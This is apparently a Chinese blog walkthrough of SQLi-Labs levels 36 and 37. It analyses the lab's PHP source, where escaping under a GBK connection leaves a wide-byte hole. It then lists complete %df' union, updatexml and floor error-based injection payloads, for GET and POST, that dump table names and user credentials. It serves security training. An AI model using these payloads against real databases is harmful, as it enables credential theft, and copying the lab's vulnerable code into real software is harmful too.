SQL-Labs靶场“36-37”关通关教程

一、36关 GET单引号宽字节注入

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=‘$id’

首先我们进行测试(使用?id=1\,查看过滤后的回显)
在这里插入图片描述这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此:
在这里插入图片描述
在这里插入图片描述
所以这里我们判断使用了过滤函数进行了过滤,所以我们首先查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
function check_quotes($con1, $string)
{$string=mysqli_real_escape_string($con1, $string);    
    return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_quotes($con1, $_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
	print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

源码大致与前几关相同,都是先过滤,后查询,查询成功输出查询到的信息,如果没有查询成功,那么输出报错信息。我们主要看下这个过滤函数,从而计划如何进行绕过:

function check_quotes($con1, $string)
{$string=mysqli_real_escape_string($con1, $string);    
    return $string;
}

可以看到里面主要使用了mysqli_real_escape_string函数,在官网进行查看:
在这里插入图片描述
可以看到官网说明对SQL语句特殊字符进行转义:

危险字符 转义后
\ \\
' \'
" \"

我们可以看到其实和前几关差不多,尤其32关,就过滤函数不一样,剩下的都一样。

2、联合查询注入

上面我们消除了转义符号的威胁,下面我们即可轻松的搭配别的注入方式完成注入,之前通过源码分析,由于查询成功输出了查询到的信息,所以我们将使用联合查询的方式完成注入。

1、猜测字段

?id=1%df' order by 4--+

在这里插入图片描述

从上面我们可以看到并没有第四列,所以我们尝试使用3来进行测试:

?id=1%df' order by 3--+

在这里插入图片描述
可以看到这里显示了通过1查询到的信息,所以后面的内容为真,即为该表的列数为3列,下面我们测试使用联合查询进行注入:

2、测试使用联合查询注入观察回显

?id=-1%df' union select 1,2,3--+

在这里插入图片描述

这里我们可以看到回显的点在2与3字段,所以我们直接随便选一个更改payload完成注入即可:

3、爆出数据库中的表名

?id=-1%df' union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述
这里我们由于后面不能使用的单引号,所以我们引用数据库名称也可以使用database()来进行引用。这里当然有人想到之前的方法使用df来进行逃逸,可以试试会发现数据库会将最后解码出的汉字扩入到数据库名称中,从而引发报错,所以这种方法其实是不可取的。

4、爆出数据库表名中的列名

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+

这里可以使用16进制来进行逃逸,该十六进制为emails表转码的结果:
在这里插入图片描述
可以看到这里也是可以的,当然,我们也可以使用嵌套,子查询来进行:

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

在这里插入图片描述
这里我相信大家也能看懂,使用limit来代替表名,更改limit即可完成所有表名列名的查询,使用3,1,即可看到users表的列名:
在这里插入图片描述
可以看到有很多陌生的字段,这里我也不懂,先放着,我遇到很多次,在第一次使用floor进行报错注入时,爆出列名也遇到了这样的情况,但是我肯定,这里我们数据库中表是没有这几列的:
在这里插入图片描述
同时我之前进行猜字段数大家也看到了,也是三个字段,所以我们暂时放着。

5、爆出数据库表中的数据

?id=-1%df' union select 1,group_concat(id,username,0x3a,password),3 from users--+

在这里插入图片描述
这样即可完成union注入。

3、updatexml报错注入

之前我们也分析了源码,确定会显示报错的信息,所以我们当然可以使用报错注入进行测试。

1、爆出当前数据库名称

?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出当前数据库中的所有表名

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

在这里插入图片描述

3、爆出users可疑表的列名字段

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+

在这里插入图片描述

4、爆出数据完成updatexml报错注入

?id=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述

4、floor报错注入

这里就直接上payload:

1、查询当前数据库名称

?id=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

2、查询当前数据库下的所有表名

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

3、查询当前数据库表下的列名

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
需要注意上面这个与下面这个语句查的不是一个表,一个是emails一个是users:

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

4、查询users表中的数据

?id=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述

二、37关 POST单引号宽字节注入

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username=‘$uname’

本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
在这里插入图片描述
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname1=$_POST['uname'];
	$passwd1=$_POST['passwd'];
        //echo "username before addslashes is :".$uname1 ."<br>";
        //echo "Input password before addslashes is : ".$passwd1. "<br>";
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname1);
	fwrite($fp,'Password:'.$passwd1."\n");
	fclose($fp);
        $uname = mysqli_real_escape_string($con1, $uname1);
        $passwd= mysqli_real_escape_string($con1, $passwd1);
        //echo "username after addslashes is :".$uname ."<br>";
        //echo "Input password after addslashes is : ".$passwd; 
	// connectivity 
	mysqli_query($con1, "SET NAMES gbk");
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		//echo " You Have successfully logged in\n\n " ;
		echo 'Your Login name:'. $row['username'];
		echo 'Your Password:' .$row['password'];
		echo '<img src="../images/flag.jpg"  />';	
  	}
	else  
	{
		//echo "Try again looser";
		print_r(mysqli_error($con1));
	}
}
?>

我们从源码中可以看到依旧是相同的配置,只是变为了POST传参,同时对于uname以及passwd都进行了过滤,与36关相同的过滤方式,所以我们依旧使用宽字节注入,抓包进行改包测试。

$uname = mysqli_real_escape_string($con1, $uname1);
$passwd= mysqli_real_escape_string($con1, $passwd1);

在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜字段

uname=1%df' order by 3#&passwd=1&submit=Submit

在这里插入图片描述

2、测试观察回显

uname=-1%df' union select 1,2#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出该数据库下的表名

uname=-1%df' union select  1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出该数据库表下的列名

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit

在这里插入图片描述
上面使用十六进制的方式,下面使用子查询的方式:

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)#&passwd=1&submit=Submit

在这里插入图片描述

5、爆出表的数据

uname=-1%df' union select 1,group_concat(id,0x3a,email_id) from emails#&passwd=1&submit=Submit

在这里插入图片描述
下面是users表:

uname=-1%df' union select 1,group_concat(id,username,0x3a,password) from users#&passwd=1&submit=Submit

在这里插入图片描述
即可完成注入。

3、updatexml报错注入

1、爆出数据库名

uname=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出数据库名下的所有表名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库下表的列名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

5、爆出数据

uname=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成updatexml报错注入。

4、floor报错注入

1、爆出数据库名

uname=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出数据库下的所有表名

uname=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库表的列名

uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出数据

uname=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成floor报错注入。

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-21 13:30:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-21 13:30:01       101 阅读
  3. 在Django里面运行非项目文件

    2024-03-21 13:30:01       82 阅读
  4. Python语言-面向对象

    2024-03-21 13:30:01       91 阅读

热门阅读

  1. 数据结构奇妙旅程之红黑树

    2024-03-21 13:30:01       49 阅读
  2. ElasticSearch - 基础概念和映射

    2024-03-21 13:30:01       38 阅读
  3. 【逆向】fridaAPI_如何hook一个静态方法和实例方法

    2024-03-21 13:30:01       47 阅读
  4. 后端异常处理:全局异常处理器

    2024-03-21 13:30:01       48 阅读
  5. 亚信安慧AntDB全景观察:数据库领域的创新者

    2024-03-21 13:30:01       41 阅读
  6. FPGA_AD9361

    2024-03-21 13:30:01       43 阅读
  7. 力扣126双周赛

    2024-03-21 13:30:01       45 阅读
  8. electron-builder打包

    2024-03-21 13:30:01       46 阅读
  9. 物理设计概念 -- 物理层次结构

    2024-03-21 13:30:01       34 阅读
  10. [Open3d]: 知识记录

    2024-03-21 13:30:01       40 阅读
  11. mybatis---->tx中weekend类

    2024-03-21 13:30:01       43 阅读
  12. Mac传文件到云服务器

    2024-03-21 13:30:01       45 阅读